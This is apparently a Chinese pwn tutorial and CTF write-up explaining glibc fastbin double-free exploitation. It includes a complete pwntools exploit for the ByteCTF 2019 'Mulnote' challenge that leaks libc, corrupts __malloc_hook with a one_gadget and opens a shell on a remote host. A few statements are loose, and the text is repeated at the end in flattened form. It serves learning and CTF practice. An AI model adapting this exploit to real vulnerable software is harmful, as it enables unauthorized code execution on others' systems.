pwn学习系列之double free
字数 1211 2025-08-25 22:59:09

Double Free漏洞利用技术详解

一、前置知识

1. malloc_chunk结构

struct malloc_chunk {
  INTERNAL_SIZE_T prev_size;  /* 前一个chunk的大小 */
  INTERNAL_SIZE_T size;       /* 当前chunk的大小 */
  struct malloc_chunk *fd;    /* 指向前一个释放的chunk */
  struct malloc_chunk *bk;    /* 指向后一个释放的chunk */
}

2. fastbin回收机制关键点

  1. free函数行为

    • chunk_size <= max_fast(默认64B)且chunk不与top chunk相邻时
    • chunk会被放入fast bins中
    • 释放操作立即完成,程序从free()函数返回
  2. ptmalloc分配响应

    • 首先检查chunk_size <= max_fast
    • 如果是,尝试从fast bins中分配所需大小的chunk

二、Double Free原理

基本概念

Double Free是指堆上的某块内存被释放后,指向该堆块的指针未被清零,导致可以再次对该内存进行free操作。利用此漏洞可以实现任意地址写。

fastbin特性

  • 采用LIFO(后进先出)数据结构
  • 使用单向链表实现
  • 释放的chunk会以单向链表形式回收到fastbin中

三、利用思路

  1. 基本步骤

    • 对同一块chunk执行两次free
    • malloc相同大小的chunk(此时内存仍在fastbin上)
    • 修改fd指针指向目标地址
    • 再次malloc两次,分配到目标内存区域
  2. 绕过检查

    • 直接free两次会被操作系统检测到
    • 需要伪造一个中间chunk来绕过检查

利用过程图示

  1. 初始状态:执行三次free后的fastbin链表
  2. 第一次malloc:获取chunk1
  3. 修改fd指针:指向目标地址
  4. 后续malloc:获取目标内存区域

四、实例分析:ByteCTF 2019 Mulnote

1. 题目检查

CANARY   : disabled
FORTIFY  : disabled
NX       : ENABLED
PIE      : disabled
RELRO    : FULL

2. 利用步骤

第一步:泄露libc地址

add(0x80, 'abc')
delete(0)
show(0)
p.recvuntil("[*]note[0]:\n")
address = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00"))
libc_Addr = address - (0x7ffff7bb4b78 - 0x7ffff77f0000)

原理:利用unsorted bin特性泄露libc地址

第二步:Double Free利用

add(0x60, '/bin/sh') #1
add(0x60, '/bin/sh') #2
delete(1)
delete(2)
delete(1)
add(0x60, p64(hackadd)) #3
add(0x60, '/bin/sh\x00') #4
add(0x60, p64(hackadd)) #5
add(0x60, 'a'*0xb + 'a'*0x8 + p64(one))

关键点

  • 构造hackadd = __malloc_hook - 0x20 - 0x3
  • 需要确保目标内存区域的size域满足要求

第三步:控制执行流

通过修改__malloc_hook为one_gadget地址获取shell

五、调试技巧

  1. 内存布局检查

    • 使用gdb检查__malloc_hook附近的内存区域
    • 确保伪造的chunk的size域合法
  2. one_gadget选择

    • 测试不同的one_gadget地址(如0x45216, 0x4526a, 0xf02a4, 0xf1147)

六、完整EXP示例

from pwn import *

#p = process("./mulnote")
p = remote("112.126.101.96", 9999)
a = ELF("./libc.so")
context.log_level = 'debug'

def add(leng, content):
    p.recvuntil(">")
    p.sendline("C")
    p.recvuntil("size>")
    p.sendline(str(leng))
    p.recvuntil("note>")
    p.sendline(content)

def edit(idx):
    p.recvuntil("[Q]uit\n>")
    p.sendline("C")
    p.recvuntil("index>")
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil("[Q]uit\n>")
    p.sendline("R")
    p.recvuntil("index>")
    p.sendline(str(idx))

def show(idx):
    p.recvuntil("[Q]uit\n>")
    p.sendline("S")

add(0x80, 'abc')
#gdb.attach(p,'b *0x5555555558ae')
delete(0)
show(0)
p.recvuntil("[*]note[0]:\n")
address = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00"))
print "address:" + hex(address)
libc_Addr = address - (0x7ffff7bb4b78 - 0x7ffff77f0000)
__malloc_hook = libc_Addr + a.symbols['__malloc_hook']
system = a.symbols['system'] + libc_Addr
print "system :" + hex(system)
#0x7ffff7835390#\0x45216#0x4526a0xf02a4#0xf1147
one = libc_Addr + 0x4526a #0x45216#0x4526a#0xf02a4#0xf1147
hackadd = __malloc_hook - 0x20 - 0x3

add(0x60, '/bin/sh') #1
add(0x60, '/bin/sh') #2
delete(1)
delete(2)
delete(1)
free_got = 0x201F58
bss = 0x202010
add(0x60, p64(hackadd)) #3
add(0x60, '/bin/sh\x00') #4
add(0x60, p64(hackadd)) #5
add(0x60, 'a'*0xb + 'a'*0x8 + p64(one))
#gdb.attach(p)
#add(0x60,'a'*0xb)
p.recvuntil(">")
p.sendline("C")
p.recvuntil("size>")
p.sendline(str(0x60))
p.interactive()

七、学习建议

  1. 基础知识

    • 仔细阅读《glibc内存管理ptmalloc源代码分析.pdf》
    • 深入理解堆管理数据结构
  2. 实践路线

    • 从fastbin double free开始
    • 逐步学习更复杂的堆利用技术(如堆喷、堆风水等)
  3. 调试技巧

    • 多使用gdb调试
    • 观察内存布局变化
    • 验证每一步的操作效果

Double Free只是堆漏洞利用的入门技术,后续还有更多高级技术需要学习。扎实的基础知识和充分的实践是掌握堆利用技术的关键。

Double Free漏洞利用技术详解 一、前置知识 1. malloc_ chunk结构 2. fastbin回收机制关键点 free函数行为 : 当 chunk_size <= max_fast (默认64B)且chunk不与top chunk相邻时 chunk会被放入fast bins中 释放操作立即完成,程序从free()函数返回 ptmalloc分配响应 : 首先检查 chunk_size <= max_fast 如果是,尝试从fast bins中分配所需大小的chunk 二、Double Free原理 基本概念 Double Free是指堆上的某块内存被释放后,指向该堆块的指针未被清零,导致可以再次对该内存进行free操作。利用此漏洞可以实现任意地址写。 fastbin特性 采用LIFO(后进先出)数据结构 使用单向链表实现 释放的chunk会以单向链表形式回收到fastbin中 三、利用思路 基本步骤 : 对同一块chunk执行两次free malloc相同大小的chunk(此时内存仍在fastbin上) 修改fd指针指向目标地址 再次malloc两次,分配到目标内存区域 绕过检查 : 直接free两次会被操作系统检测到 需要伪造一个中间chunk来绕过检查 利用过程图示 初始状态:执行三次free后的fastbin链表 第一次malloc:获取chunk1 修改fd指针:指向目标地址 后续malloc:获取目标内存区域 四、实例分析:ByteCTF 2019 Mulnote 1. 题目检查 2. 利用步骤 第一步:泄露libc地址 原理 :利用unsorted bin特性泄露libc地址 第二步:Double Free利用 关键点 : 构造 hackadd = __malloc_hook - 0x20 - 0x3 需要确保目标内存区域的size域满足要求 第三步:控制执行流 通过修改 __malloc_hook 为one_ gadget地址获取shell 五、调试技巧 内存布局检查 : 使用gdb检查 __malloc_hook 附近的内存区域 确保伪造的chunk的size域合法 one_ gadget选择 : 测试不同的one_ gadget地址(如0x45216, 0x4526a, 0xf02a4, 0xf1147) 六、完整EXP示例 七、学习建议 基础知识 : 仔细阅读《glibc内存管理ptmalloc源代码分析.pdf》 深入理解堆管理数据结构 实践路线 : 从fastbin double free开始 逐步学习更复杂的堆利用技术(如堆喷、堆风水等) 调试技巧 : 多使用gdb调试 观察内存布局变化 验证每一步的操作效果 Double Free只是堆漏洞利用的入门技术,后续还有更多高级技术需要学习。扎实的基础知识和充分的实践是掌握堆利用技术的关键。